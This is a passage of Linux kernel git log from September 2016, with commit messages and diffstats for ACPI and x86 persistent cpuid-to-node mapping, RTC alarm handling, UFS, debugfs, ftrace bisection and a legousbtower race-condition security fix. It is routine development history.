Boards dts: sun8i-h3: split off RTS/CTS for UART1 in seperate pinmux dts: sun8i-h3: add pinmux definitions for UART2-3 ARM: dts: sun9i: a80-optimus: Disable EHCI1 ARM: dts: sun9i: cubieboard4: Add AXP806 PMIC device node and regulators ARM: dts: sun9i: a80-optimus: Add AXP806 PMIC device node and regulators ARM: dts: sun9i: cubieboard4: Declare AXP809 SW regulator as unused ARM: dts: sun9i: a80-optimus: Declare AXP809 SW regulator as unused ARM: dts: sun8i: Add touchscreen node for sun8i-a33-ga10h ARM: dts: sun8i: Add touchscreen node for sun8i-a23-polaroid-mid2809pxe04 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-polaroid-mid2407pxe03 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-inet86dz ARM: dts: sun8i: Add touchscreen node for sun8i-a23-gt90h commit f5f8aaf98d886165bcc4310017633bb630712d5f Merge: c55b2d9 c336dc7 Author: Arnd Bergmann Date: Wed Sep 21 22:37:18 2016 +0200 Merge tag 'mvebu-drivers-4.9-1' of git://git.infradead.org/linux-mvebu into next/drivers Pull "mvebu drivers for 4.9 (part 1)" from Gregory CLEMENT: - Add pinctrl and clk support for the Orion5x SoC mv88f5181 variant * tag 'mvebu-drivers-4.9-1' of git://git.infradead.org/linux-mvebu: pinctrl: mvebu: orion5x: Generalise mv88f5181l support for 88f5181 clk: mvebu: Add clk support for the orion5x SoC mv88f5181 commit e40454d3f444ba7f8cc78dd985a1414a5945757c Merge: b315dac 77a1c68 Author: Arnd Bergmann Date: Wed Sep 21 22:35:56 2016 +0200 Merge tag 'mvebu-soc-4.9-1' of git://git.infradead.org/linux-mvebu into next/soc Pull "mvebu soc for 4.9 (part 1)" from Gregory CLEMENT: - irq cleanup for old mvebu SoC * tag 'mvebu-soc-4.9-1' of git://git.infradead.org/linux-mvebu: ARM: orion5x: remove extraneous NO_IRQ ARM: orion: simplify orion_ge00_switch_init ARM: mvebu/orion: remove NO_IRQ check from device init ARM: mv78xx0: simplify ethernet device creation commit b315dac3e877bd75af601e41946f1e8c3f2542da Merge: d6fbd37 23fe1fd Author: Arnd Bergmann Date: Wed Sep 21 22:34:46 2016 +0200 Merge tag 'imx-legacy-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/soc Pull "i.MX legacy board file changes for 4.9" from Shawn Guo: It includes a patch series that moves registrations and initializations of all peripherals which are GPIO line consumers for all legacy boards from .init_machine to .init_late init level. This is needed to proactively prevent boot time issues on the legacy boards due to the deprioritized init level of the GPIO controller driver (set lower than IOMUX controller driver init level), which is shared among all i.MX SoCs. * tag 'imx-legacy-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: ARM: imx legacy: pca100: move peripheral initialization to .init_late ARM: imx legacy: mx27ads: move peripheral initialization to .init_late ARM: imx legacy: mx21ads: move peripheral initialization to .init_late ARM: imx legacy: pcm043: move peripheral initialization to .init_late ARM: imx legacy: mx35-3ds: move peripheral initialization to .init_late ARM: imx legacy: mx27-3ds: move peripheral initialization to .init_late ARM: imx legacy: imx27-visstrim-m10: move peripheral initialization to .init_late ARM: imx legacy: vpr200: move peripheral initialization to .init_late ARM: imx legacy: mx31moboard: move peripheral initialization to .init_late ARM: imx legacy: armadillo5x0: move peripheral initialization to .init_late ARM: imx legacy: qong: move peripheral initialization to .init_late ARM: imx legacy: mx31-3ds: move peripheral initialization to .init_late ARM: imx legacy: pcm037: move peripheral initialization to .init_late ARM: imx legacy: mx31lilly: move peripheral initialization to .init_late ARM: imx legacy: mx31ads: move peripheral initialization to .init_late ARM: imx legacy: mx31lite: move peripheral initialization to .init_late ARM: imx legacy: kzm: move peripheral initialization to .init_late commit 8794ee0c1d4ce35b8b8e4e8cdc80bba6e42206eb Author: Kiwoong Kim Date: Fri Sep 9 08:22:22 2016 +0900 scsi: ufs: Get a TM service response from the correct offset When any UFS host controller receives a TM(Task Management) response from a UFS device, UFS driver has been recognize like receiving a message of "Task Management Function Complete"(00h) in all cases, so far. That means there is no pending task for a tag of the TM request sent before in the UFS device. That's because the byte offset 6 in TM response which has been used to get a TM service response so far represents just whether or not a TM transmission passes. Regarding UFS spec, the correct byte offset to get TM service response is 15, not 6. I tested that UFS driver responds properly for the TM response from a UFS device with an reference board with exynos8890, as follow: No pending task -> Task Management Function Complete (00h) Pending task -> Task Management Function Succeeded (08h) [mkp: applied by hand] Signed-off-by: Kiwoong Kim Signed-off-by: HeonGwang Chu Tested-by: : Kiwoong Kim Signed-off-by: Martin K. Petersen drivers/scsi/ufs/ufs.h | 1 + drivers/scsi/ufs/ufshcd.c | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) commit 68669d55f7ad31832692254485a07b6e412ae082 Author: Gabriele Mazzotta Date: Tue Sep 20 01:12:44 2016 +0200 rtc: cmos: Restore alarm after resume Some platform firmware may interfere with the RTC alarm over suspend, resulting in the kernel and hardware having different ideas about system state but also potentially causing problems with firmware that assumes the OS will clean this case up. This patch restores the RTC alarm on resume to ensure that kernel and hardware are in sync. The case we've seen is Intel Rapid Start, which is a firmware-mediated feature that automatically transitions systems from suspend-to-RAM to suspend-to-disk without OS involvement. It does this by setting the RTC alarm and a flag that indicates that on wake it should perform the transition rather than re-starting the OS. However, if the OS has set a wakeup alarm that would wake the machine earlier, it refuses to overwrite it and allows the system to wake instead. This fails in the following situation: 1) User configures Intel Rapid Start to transition after (say) 15 minutes 2) User suspends to RAM. Firmware sets the wakeup alarm for 15 minutes in the future 3) User resumes after 5 minutes. Firmware does not reset the alarm, and as such it is still set for 10 minutes in the future 4) User suspends after 5 minutes. Firmware notices that the alarm is set for 5 minutes in the future, which is less than the 15 minute transition threshold. It therefore assumes that the user wants the machine to wake in 5 minutes 5) System resumes after 5 minutes The worst case scenario here is that the user may have put the system in a bag between (4) and (5), resulting in it running in a confined space and potentially overheating. This seems reasonably important. The Rapid Start support code got added in 3.11, but it can be configured in the firmware regardless of kernel support. Signed-off-by: Gabriele Mazzotta Signed-off-by: Alexandre Belloni drivers/rtc/rtc-cmos.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 983bf1256edb477a376b6ce95adf36e13bc88f9a Author: Gabriele Mazzotta Date: Tue Sep 20 01:12:43 2016 +0200 rtc: cmos: Clear ACPI-driven alarms upon resume Currently ACPI-driven alarms are not cleared when they wake the system. As consequence, expired alarms must be manually cleared to program a new alarm. Fix this by correctly handling ACPI-driven alarms. More specifically, the ACPI specification [1] provides for two alternative implementations of the RTC. Depending on the implementation, the driver either clear the alarm from the resume callback or from ACPI interrupt handler: - The platform has the RTC wakeup status fixed in hardware (ACPI_FADT_FIXED_RTC is 0). In this case the driver can determine if the RTC was the reason of the wakeup from the resume callback by reading the RTC status register. - The platform has no fixed hardware feature event bits. In this case a GPE is used to wake the system and the driver clears the alarm from its handler. [1] http://www.acpi.info/DOWNLOADS/ACPI_5_Errata%20A.pdf Signed-off-by: Gabriele Mazzotta Signed-off-by: Alexandre Belloni drivers/rtc/rtc-cmos.c | 47 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) commit 97ea1906b3c2201273ea6bb40c43c611c056ddb3 Author: Marcin Niestroj Date: Fri Sep 16 11:26:28 2016 +0200 rtc: omap: Support ext_wakeup configuration Support configuration of ext_wakeup sources. This patch makes it possible to enable ext_wakeup and set it's polarity, depending on board configuration. AM335x's dedicated PMIC (tps65217) uses ext_wakeup to notify about power-button presses. Handling power-button presses enables to recover from RTC-only power states correctly. Signed-off-by: Marcin Niestroj Acked-by: Tony Lindgren Acked-by: Rob Herring Signed-off-by: Alexandre Belloni Documentation/devicetree/bindings/rtc/rtc-omap.txt | 21 +++ drivers/rtc/Kconfig | 3 + drivers/rtc/rtc-omap.c | 168 ++++++++++++++++++++- 3 files changed, 184 insertions(+), 8 deletions(-) commit fd74da217df7d4bd25e95411da64e0b92762842e Author: Dou Liyang Date: Thu Aug 25 16:35:20 2016 +0800 acpi: Validate processor id when mapping the processor When we want to identify whether the proc_id is unreasonable or not, we can call the "acpi_processor_validate_proc_id" function. It will search in the duplicate IDs. If we find the proc_id in the IDs, we return true to the call function. Conversely, the false represents available. When we establish all possible cpuid <-> nodeid mapping to handle the cpu hotplugs, we will use the proc_id from ACPI table. We do validation when we get the proc_id. If the result is true, we will stop the mapping. [ tglx: Mark the new function __init ] Signed-off-by: Dou Liyang Acked-by: Ingo Molnar Cc: mika.j.penttila@gmail.com Cc: len.brown@intel.com Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: yasu.isimatu@gmail.com Cc: linux-mm@kvack.org Cc: linux-acpi@vger.kernel.org Cc: isimatu.yasuaki@jp.fujitsu.com Cc: gongzhaogang@inspur.com Cc: tj@kernel.org Cc: izumi.taku@jp.fujitsu.com Cc: cl@linux.com Cc: chen.tang@easystack.cn Cc: akpm@linux-foundation.org Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: lenb@kernel.org Link: http://lkml.kernel.org/r/1472114120-3281-8-git-send-email-douly.fnst@cn.fujitsu.com Signed-off-by: Thomas Gleixner drivers/acpi/acpi_processor.c | 15 +++++++++++++++ drivers/acpi/processor_core.c | 4 ++++ include/linux/acpi.h | 3 +++ 3 files changed, 22 insertions(+) commit 8e089eaa1999def4bb954caa91941f29b0672b6a Author: Dou Liyang Date: Thu Aug 25 16:35:19 2016 +0800 acpi: Provide mechanism to validate processors in the ACPI tables [Problem] When we set cpuid <-> nodeid mapping to be persistent, it will use the DSDT As we know, the ACPI tables are just like user's input in that respect, and we don't crash if user's input is unreasonable. Such as, the mapping of the proc_id and pxm in some machine's ACPI table is like this: proc_id | pxm -------------------- 0 <-> 0 1 <-> 0 2 <-> 1 3 <-> 1 89 <-> 0 89 <-> 0 89 <-> 0 89 <-> 1 89 <-> 1 89 <-> 2 89 <-> 3 ..... We can't be sure which one is correct to the proc_id 89. We may map a wrong node to a cpu. When pages are allocated, this may cause a kernal panic. So, we should provide mechanisms to validate the ACPI tables, just like we do validation to check user's input in web project. The mechanism is that the processor objects which have the duplicate IDs are not valid. [Solution] We add a validation function, like this: foreach Processor in DSDT proc_id = get_ACPI_Processor_number(Processor) if (proc_id exists ) mark both of them as being unreasonable; The function will record the unique or duplicate processor IDs. The duplicate processor IDs such as 89 are regarded as the unreasonable IDs which mean that the processor objects in question are not valid. [ tglx: Add __init[data] annotations ] Signed-off-by: Dou Liyang Acked-by: Ingo Molnar Cc: mika.j.penttila@gmail.com Cc: len.brown@intel.com Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: yasu.isimatu@gmail.com Cc: linux-mm@kvack.org Cc: linux-acpi@vger.kernel.org Cc: isimatu.yasuaki@jp.fujitsu.com Cc: gongzhaogang@inspur.com Cc: tj@kernel.org Cc: izumi.taku@jp.fujitsu.com Cc: cl@linux.com Cc: chen.tang@easystack.cn Cc: akpm@linux-foundation.org Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: lenb@kernel.org Link: http://lkml.kernel.org/r/1472114120-3281-7-git-send-email-douly.fnst@cn.fujitsu.com Signed-off-by: Thomas Gleixner drivers/acpi/acpi_processor.c | 79 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) commit dc6db24d2476cd09c0ecf2b8d80313539f737a89 Author: Gu Zheng Date: Thu Aug 25 16:35:18 2016 +0800 x86/acpi: Set persistent cpuid <-> nodeid mapping when booting The whole patch-set aims at making cpuid <-> nodeid mapping persistent. So that, when node online/offline happens, cache based on cpuid <-> nodeid mapping such as wq_numa_possible_cpumask will not cause any problem. It contains 4 steps: 1. Enable apic registeration flow to handle both enabled and disabled cpus. 2. Introduce a new array storing all possible cpuid <-> apicid mapping. 3. Enable _MAT and MADT relative apis to return non-present or disabled cpus' apicid. 4. Establish all possible cpuid <-> nodeid mapping. This patch finishes step 4. This patch set the persistent cpuid <-> nodeid mapping for all enabled/disabled processors at boot time via an additional acpi namespace walk for processors. [ tglx: Remove the unneeded exports ] Signed-off-by: Gu Zheng Signed-off-by: Tang Chen Signed-off-by: Zhu Guihua Signed-off-by: Dou Liyang Acked-by: Ingo Molnar Cc: mika.j.penttila@gmail.com Cc: len.brown@intel.com Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: yasu.isimatu@gmail.com Cc: linux-mm@kvack.org Cc: linux-acpi@vger.kernel.org Cc: isimatu.yasuaki@jp.fujitsu.com Cc: gongzhaogang@inspur.com Cc: tj@kernel.org Cc: izumi.taku@jp.fujitsu.com Cc: cl@linux.com Cc: chen.tang@easystack.cn Cc: akpm@linux-foundation.org Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: lenb@kernel.org Link: http://lkml.kernel.org/r/1472114120-3281-6-git-send-email-douly.fnst@cn.fujitsu.com Signed-off-by: Thomas Gleixner arch/ia64/kernel/acpi.c | 2 +- arch/x86/kernel/acpi/boot.c | 3 +- drivers/acpi/acpi_processor.c | 5 ++++ drivers/acpi/bus.c | 1 + drivers/acpi/processor_core.c | 68 +++++++++++++++++++++++++++++++++++++++++++ include/linux/acpi.h | 3 ++ 6 files changed, 80 insertions(+), 2 deletions(-) commit 8ad893faf2eaedb710a3073afbb5d569df2c3e41 Author: Gu Zheng Date: Thu Aug 25 16:35:17 2016 +0800 x86/acpi: Enable MADT APIs to return disabled apicids The whole patch-set aims at making cpuid <-> nodeid mapping persistent. So that, when node online/offline happens, cache based on cpuid <-> nodeid mapping such as wq_numa_possible_cpumask will not cause any problem. It contains 4 steps: 1. Enable apic registeration flow to handle both enabled and disabled cpus. 2. Introduce a new array storing all possible cpuid <-> apicid mapping. 3. Enable _MAT and MADT relative apis to return non-present or disabled cpus' apicid. 4. Establish all possible cpuid <-> nodeid mapping. This patch finishes step 3. There are four mappings in the kernel: 1. nodeid (logical node id) <-> pxm (persistent) 2. apicid (physical cpu id) <-> nodeid (persistent) 3. cpuid (logical cpu id) <-> apicid (not persistent, now persistent by step 2) 4. cpuid (logical cpu id) <-> nodeid (not persistent) So, in order to setup persistent cpuid <-> nodeid mapping for all possible CPUs, we should: 1. Setup cpuid <-> apicid mapping for all possible CPUs, which has been done in step 1, 2. 2. Setup cpuid <-> nodeid mapping for all possible CPUs. But before that, we should obtain all apicids from MADT. All processors' apicids can be obtained by _MAT method or from MADT in ACPI. The current code ignores disabled processors and returns -ENODEV. After this patch, a new parameter will be added to MADT APIs so that caller is able to control if disabled processors are ignored. Signed-off-by: Gu Zheng Signed-off-by: Tang Chen Signed-off-by: Zhu Guihua Signed-off-by: Dou Liyang Acked-by: Ingo Molnar Cc: mika.j.penttila@gmail.com Cc: len.brown@intel.com Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: yasu.isimatu@gmail.com Cc: linux-mm@kvack.org Cc: linux-acpi@vger.kernel.org Cc: isimatu.yasuaki@jp.fujitsu.com Cc: gongzhaogang@inspur.com Cc: tj@kernel.org Cc: izumi.taku@jp.fujitsu.com Cc: cl@linux.com Cc: chen.tang@easystack.cn Cc: akpm@linux-foundation.org Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: lenb@kernel.org Link: http://lkml.kernel.org/r/1472114120-3281-5-git-send-email-douly.fnst@cn.fujitsu.com Signed-off-by: Thomas Gleixner drivers/acpi/acpi_processor.c | 5 +++- drivers/acpi/processor_core.c | 60 +++++++++++++++++++++++++++---------------- 2 files changed, 42 insertions(+), 23 deletions(-) commit 8f54969dc8d6704632b42cbb5e47730cd75cc713 Author: Gu Zheng Date: Thu Aug 25 16:35:16 2016 +0800 x86/acpi: Introduce persistent storage for cpuid <-> apicid mapping The whole patch-set aims at making cpuid <-> nodeid mapping persistent. So that, when node online/offline happens, cache based on cpuid <-> nodeid mapping such as wq_numa_possible_cpumask will not cause any problem. It contains 4 steps: 1. Enable apic registeration flow to handle both enabled and disabled cpus. 2. Introduce a new array storing all possible cpuid <-> apicid mapping. 3. Enable _MAT and MADT relative apis to return non-present or disabled cpus' apicid. 4. Establish all possible cpuid <-> nodeid mapping. This patch finishes step 2. In this patch, we introduce a new static array named cpuid_to_apicid[], which is large enough to store info for all possible cpus. And then, we modify the cpuid calculation. In generic_processor_info(), it simply finds the next unused cpuid. And it is also why the cpuid <-> nodeid mapping changes with node hotplug. After this patch, we find the next unused cpuid, map it to an apicid, and store the mapping in cpuid_to_apicid[], so that cpuid <-> apicid mapping will be persistent. And finally we will use this array to make cpuid <-> nodeid persistent. cpuid <-> apicid mapping is established at local apic registeration time. But non-present or disabled cpus are ignored. In this patch, we establish all possible cpuid <-> apicid mapping when registering local apic. Signed-off-by: Gu Zheng Signed-off-by: Tang Chen Signed-off-by: Zhu Guihua Signed-off-by: Dou Liyang Acked-by: Ingo Molnar Cc: mika.j.penttila@gmail.com Cc: len.brown@intel.com Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: yasu.isimatu@gmail.com Cc: linux-mm@kvack.org Cc: linux-acpi@vger.kernel.org Cc: isimatu.yasuaki@jp.fujitsu.com Cc: gongzhaogang@inspur.com Cc: tj@kernel.org Cc: izumi.taku@jp.fujitsu.com Cc: cl@linux.com Cc: chen.tang@easystack.cn Cc: akpm@linux-foundation.org Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: lenb@kernel.org Link: http://lkml.kernel.org/r/1472114120-3281-4-git-send-email-douly.fnst@cn.fujitsu.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/mpspec.h | 1 + arch/x86/kernel/acpi/boot.c | 7 +---- arch/x86/kernel/apic/apic.c | 60 ++++++++++++++++++++++++++++++++++++++++--- 3 files changed, 59 insertions(+), 9 deletions(-) commit f7c28833c252031bc68a29e26a18a661797cf3a3 Author: Gu Zheng Date: Thu Aug 25 16:35:15 2016 +0800 x86/acpi: Enable acpi to register all possible cpus at boot time cpuid <-> nodeid mapping is firstly established at boot time. And workqueue caches the mapping in wq_numa_possible_cpumask in wq_numa_init() at boot time. When doing node online/offline, cpuid <-> nodeid mapping is established/destroyed, which means, cpuid <-> nodeid mapping will change if node hotplug happens. But workqueue does not update wq_numa_possible_cpumask. So here is the problem: Assume we have the following cpuid <-> nodeid in the beginning: Node | CPU ------------------------ node 0 | 0-14, 60-74 node 1 | 15-29, 75-89 node 2 | 30-44, 90-104 node 3 | 45-59, 105-119 and we hot-remove node2 and node3, it becomes: Node | CPU ------------------------ node 0 | 0-14, 60-74 node 1 | 15-29, 75-89 and we hot-add node4 and node5, it becomes: Node | CPU ------------------------ node 0 | 0-14, 60-74 node 1 | 15-29, 75-89 node 4 | 30-59 node 5 | 90-119 But in wq_numa_possible_cpumask, cpu30 is still mapped to node2, and the like. When a pool workqueue is initialized, if its cpumask belongs to a node, its pool->node will be mapped to that node. And memory used by this workqueue will also be allocated on that node. static struct worker_pool *get_unbound_pool(const struct workqueue_attrs *attrs){ ... /* if cpumask is contained inside a NUMA node, we belong to that node */ if (wq_numa_enabled) { for_each_node(node) { if (cpumask_subset(pool->attrs->cpumask, wq_numa_possible_cpumask[node])) { pool->node = node; break; } } } Since wq_numa_possible_cpumask is not updated, it could be mapped to an offline node, which will lead to memory allocation failure: SLUB: Unable to allocate memory on node 2 (gfp=0x80d0) cache: kmalloc-192, object size: 192, buffer size: 192, default order: 1, min order: 0 node 0: slabs: 6172, objs: 259224, free: 245741 node 1: slabs: 3261, objs: 136962, free: 127656 It happens here: create_worker(struct worker_pool *pool) |--> worker = alloc_worker(pool->node); static struct worker *alloc_worker(int node) { struct worker *worker; worker = kzalloc_node(sizeof(*worker), GFP_KERNEL, node); --> Here, useing the wrong node. ...... return worker; } [Solution] There are four mappings in the kernel: 1. nodeid (logical node id) <-> pxm 2. apicid (physical cpu id) <-> nodeid 3. cpuid (logical cpu id) <-> apicid 4. cpuid (logical cpu id) <-> nodeid 1. pxm (proximity domain) is provided by ACPI firmware in SRAT, and nodeid <-> pxm mapping is setup at boot time. This mapping is persistent, won't change. 2. apicid <-> nodeid mapping is setup using info in 1. The mapping is setup at boot time and CPU hotadd time, and cleared at CPU hotremove time. This mapping is also persistent. 3. cpuid <-> apicid mapping is setup at boot time and CPU hotadd time. cpuid is allocated, lower ids first, and released at CPU hotremove time, reused for other hotadded CPUs. So this mapping is not persistent. 4. cpuid <-> nodeid mapping is also setup at boot time and CPU hotadd time, and cleared at CPU hotremove time. As a result of 3, this mapping is not persistent. To fix this problem, we establish cpuid <-> nodeid mapping for all the possible cpus at boot time, and make it persistent. And according to init_cpu_to_node(), cpuid <-> nodeid mapping is based on apicid <-> nodeid mapping and cpuid <-> apicid mapping. So the key point is obtaining all cpus' apicid. apicid can be obtained by _MAT (Multiple APIC Table Entry) method or found in MADT (Multiple APIC Description Table). So we finish the job in the following steps: 1. Enable apic registeration flow to handle both enabled and disabled cpus. This is done by introducing an extra parameter to generic_processor_info to let the caller control if disabled cpus are ignored. 2. Introduce a new array storing all possible cpuid <-> apicid mapping. And also modify the way cpuid is calculated. Establish all possible cpuid <-> apicid mapping when registering local apic. Store the mapping in this array. 3. Enable _MAT and MADT relative apis to return non-present or disabled cpus' apicid. This is also done by introducing an extra parameter to these apis to let the caller control if disabled cpus are ignored. 4. Establish all possible cpuid <-> nodeid mapping. This is done via an additional acpi namespace walk for processors. This patch finished step 1. Signed-off-by: Gu Zheng Signed-off-by: Tang Chen Signed-off-by: Zhu Guihua Signed-off-by: Dou Liyang Acked-by: Ingo Molnar Cc: mika.j.penttila@gmail.com Cc: len.brown@intel.com Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: yasu.isimatu@gmail.com Cc: linux-mm@kvack.org Cc: linux-acpi@vger.kernel.org Cc: isimatu.yasuaki@jp.fujitsu.com Cc: gongzhaogang@inspur.com Cc: tj@kernel.org Cc: izumi.taku@jp.fujitsu.com Cc: cl@linux.com Cc: chen.tang@easystack.cn Cc: akpm@linux-foundation.org Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: lenb@kernel.org Link: http://lkml.kernel.org/r/1472114120-3281-3-git-send-email-douly.fnst@cn.fujitsu.com Signed-off-by: Thomas Gleixner arch/x86/kernel/apic/apic.c | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) commit 2532fc318db0e1fe68e01407ee27634c76916e44 Author: Tang Chen Date: Thu Aug 25 16:35:14 2016 +0800 x86/numa: Online memory-less nodes at boot time For now, x86 does not support memory-less node. A node without memory will not be onlined, and the cpus on it will be mapped to the other online nodes with memory in init_cpu_to_node(). The reason of doing this is to ensure each cpu has mapped to a node with memory, so that it will be able to allocate local memory for that cpu. But we don't have to do it in this way. In this series of patches, we are going to construct cpu <-> node mapping for all possible cpus at boot time, which is a persistent mapping. It means that the cpu will be mapped to the node which it belongs to, and will never be changed. If a node has only cpus but no memory, the cpus on it will be mapped to a memory-less node. And the memory-less node should be onlined. Allocate pgdats for all memory-less nodes and online them at boot time. Then build zonelists for these nodes. As a result, when cpus on these memory-less nodes try to allocate memory from local node, it will automatically fall back to the proper zones in the zonelists. Signed-off-by: Zhu Guihua Signed-off-by: Dou Liyang Acked-by: Ingo Molnar Cc: mika.j.penttila@gmail.com Cc: len.brown@intel.com Cc: Tang Chen Cc: rafael@kernel.org Cc: rjw@rjwysocki.net Cc: yasu.isimatu@gmail.com Cc: linux-mm@kvack.org Cc: linux-acpi@vger.kernel.org Cc: isimatu.yasuaki@jp.fujitsu.com Cc: gongzhaogang@inspur.com Cc: tj@kernel.org Cc: izumi.taku@jp.fujitsu.com Cc: cl@linux.com Cc: chen.tang@easystack.cn Cc: akpm@linux-foundation.org Cc: kamezawa.hiroyu@jp.fujitsu.com Cc: lenb@kernel.org Link: http://lkml.kernel.org/r/1472114120-3281-2-git-send-email-douly.fnst@cn.fujitsu.com Signed-off-by: Thomas Gleixner arch/x86/mm/numa.c | 27 +++++++++++++-------------- 1 file changed, 13 insertions(+), 14 deletions(-) commit 951dbf500aa7df051d7cde15b9ac05608c0bb16f Author: Steven Rostedt (Red Hat) Date: Wed Sep 21 13:43:48 2016 -0400 ftrace/scripts: Add helper script to bisect function tracing problem functions Every so often, with a special config or a architecture change, running function or function_graph tracing can cause the machien to hard reboot, crash, or simply hard lockup. There's some functions in the function graph tracer that can not be traced otherwise it causes the function tracer to recurse before the recursion protection mechanisms are in place. When this occurs, using the dynamic ftrace featuer that allows limiting what actually gets traced can be used to bisect down to the problem function. This adds a script that helps with this process in the scripts/tracing directory, called ftrace-bisect.sh The set up is to read all the functions that can be traced from available_filter_functions into a file (full_file). Then run this script passing it the full_file and a "test_file" and "non_test_file", where the test_file will be add to set_ftrace_filter. What ftarce_bisect.sh does, is to copy half of the functions in full_file into the test_file and the other half into the non_test_file. This way, one can cat the test_file into the set_ftrace_filter functions and only test the functions that are in that file. If it works, then we run the process again after copying non_test_file to full_file and repeating the process. If the system crashed, then the bad function is in the test_file and after a reboot, the test_file becomes the new full_file in the next iteration. When we get down to a single function in the full_file, then ftrace_bisect.sh will report that as the bad function. Full documentation of how to use this simple script is within the script file itself. Link: http://lkml.kernel.org/r/20160920100716.131d3647@gandalf.local.home Signed-off-by: Steven Rostedt scripts/tracing/ftrace-bisect.sh | 115 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 115 insertions(+) commit b60752f2b20c167859943e001727f0d4da419b23 Author: Russell King Date: Tue Sep 6 13:46:46 2016 +0100 ARM: sa1111: provide to_sa1111_device() macro Provide a nicer to_sa1111_device macro to convert a struct device to a sa1111_dev. We will need this for drivers when converting them to dev_pm_ops, or removing shutdown methods. Signed-off-by: Russell King arch/arm/common/sa1111.c | 18 +++++++++--------- arch/arm/include/asm/hardware/sa1111.h | 2 +- 2 files changed, 10 insertions(+), 10 deletions(-) commit e0d735c1cc2749598f2d29f60f9a16658fd96ae9 Author: Chao Yu Date: Wed Sep 21 12:09:40 2016 -0500 gfs2: fix to detect failure of register_shrinker register_shrinker can fail after commit 1d3d4437eae1 ("vmscan: per-node deferred work"), we should detect the failure of it, otherwise we may fail to register shrinker after gfs2 module was been inited successfully. Signed-off-by: Chao Yu Signed-off-by: Bob Peterson fs/gfs2/glock.c | 8 +++++++- fs/gfs2/main.c | 4 +++- 2 files changed, 10 insertions(+), 2 deletions(-) commit 6ee6d1cb391ca85b419f8d18bdfb1f020a5e859c Author: Christian Lamparter Date: Wed Sep 21 18:49:36 2016 +0200 carl9170: fix debugfs crashes Ben Greear reported: > I see lots of instability as soon as I load up the carl9710 NIC. > My application is going to be poking at it's debugfs files... > > BUG: KASAN: slab-out-of-bounds in carl9170_debugfs_read+0xd5/0x2a0 > [carl9170] at addr 0xffff8801bc1208b0 > Read of size 8 by task btserver/5888 > ======================================================================= > BUG kmalloc-256 (Tainted: G W ): kasan: bad access detected > ----------------------------------------------------------------------- > > INFO: Allocated in seq_open+0x50/0x100 age=2690 cpu=2 pid=772 >... This breakage was caused by the introduction of intermediate fops in debugfs by commit 9fd4dcece43a ("debugfs: prevent access to possibly dead file_operations at file open") Thankfully, the original/real fops are still available in d_fsdata. Reported-by: Ben Greear Signed-off-by: Christian Lamparter Cc: stable # 4.7+ Signed-off-by: Greg Kroah-Hartman drivers/net/wireless/ath/carl9170/debug.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 0c95ad76361f1d75a1ffdf82deafbcec44d19c42 Author: Martin Brandenburg Date: Wed Sep 21 12:37:23 2016 -0400 orangefs: bump minimum userspace version OrangeFS 2.9.6 was released without support for the features op. Thus OrangeFS 2.9.7 will be required to use it. Signed-off-by: Martin Brandenburg fs/orangefs/super.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4765218db79561ce13922806716eadb138c65439 Author: Dan Williams Date: Thu Sep 15 18:08:05 2016 -0700 libnvdimm, namespace: debug invalid interleave-set-cookie values If platform firmware fails to populate unique / non-zero serial number data for each nvdimm in an interleave-set it may cause pmem region initialization to fail. Add a debug message for this case. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 73606afd4603a2f6296cd44c4d2b385916565a58 Author: Dan Williams Date: Mon Sep 12 15:11:39 2016 -0700 tools/testing/nvdimm: test get_config_size DSM failures Add an nfit_test specific attribute for gating whether a get_config_size DSM, or any DSM for that matter, succeeds or fails. The get_config_size DSM is initial motivation since that is the first command libnvdimm core issues to determine the state of the namespace label area. Signed-off-by: Dan Williams tools/testing/nvdimm/test/nfit.c | 79 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 77 insertions(+), 2 deletions(-) commit 2fae9e5a7babada041e2e161699ade2447a01989 Author: Greg Kroah-Hartman Date: Mon Sep 19 19:09:51 2016 +0100 usb: misc: legousbtower: Fix NULL pointer deference This patch fixes a NULL pointer dereference caused by a race codition in the probe function of the legousbtower driver. It re-structures the probe function to only register the interface after successfully reading the board's firmware ID. The probe function does not deregister the usb interface after an error receiving the devices firmware ID. The device file registered (/dev/usb/legousbtower%d) may be read/written globally before the probe function returns. When tower_delete is called in the probe function (after an r/w has been initiated), core dev structures are deleted while the file operation functions are still running. If the 0 address is mappable on the machine, this vulnerability can be used to create a Local Priviege Escalation exploit via a write-what-where condition by remapping dev->interrupt_out_buffer in tower_write. A forged USB device and local program execution would be required for LPE. The USB device would have to delay the control message in tower_probe and accept the control urb in tower_open whilst guest code initiated a write to the device file as tower_delete is called from the error in tower_probe. This bug has existed since 2003. Patch tested by emulated device. Reported-by: James Patrick-Evans Tested-by: James Patrick-Evans Signed-off-by: James Patrick-Evans Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/legousbtower.c | 35 +++++++++++++++++------------------ 1 file changed, 17 insertions(+), 18 deletions(-) commit 30c8946566f32493f7f1143437319c42c8a542e9 Author: Shaohua Li Date: Wed Sep 21 09:07:13 2016 -0700 raid5: handle register_shrinker 